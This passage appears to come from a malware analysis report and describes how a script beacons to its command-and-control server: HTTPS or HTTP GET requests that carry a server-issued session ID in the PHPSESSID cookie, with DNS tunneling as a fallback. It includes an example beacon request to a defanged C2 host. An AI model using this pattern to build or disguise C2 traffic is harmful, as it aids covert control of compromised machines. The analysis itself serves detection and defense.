The script will first attempt to communicate with the C2 server using HTTPS (HTTP if unsuccessful), which involves GET requests using the session ID within the request’s cookie in the PHPSESSID field, as seen in the example GET request:       GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246Host: www.rdppath[.]comCookie: PHPSESSID=<c2 provided session id>Connection: Keep-Alive     If the payload is unable to reach the C2 via HTTPS/HTTP, the payload yet again falls back to DNS tunneling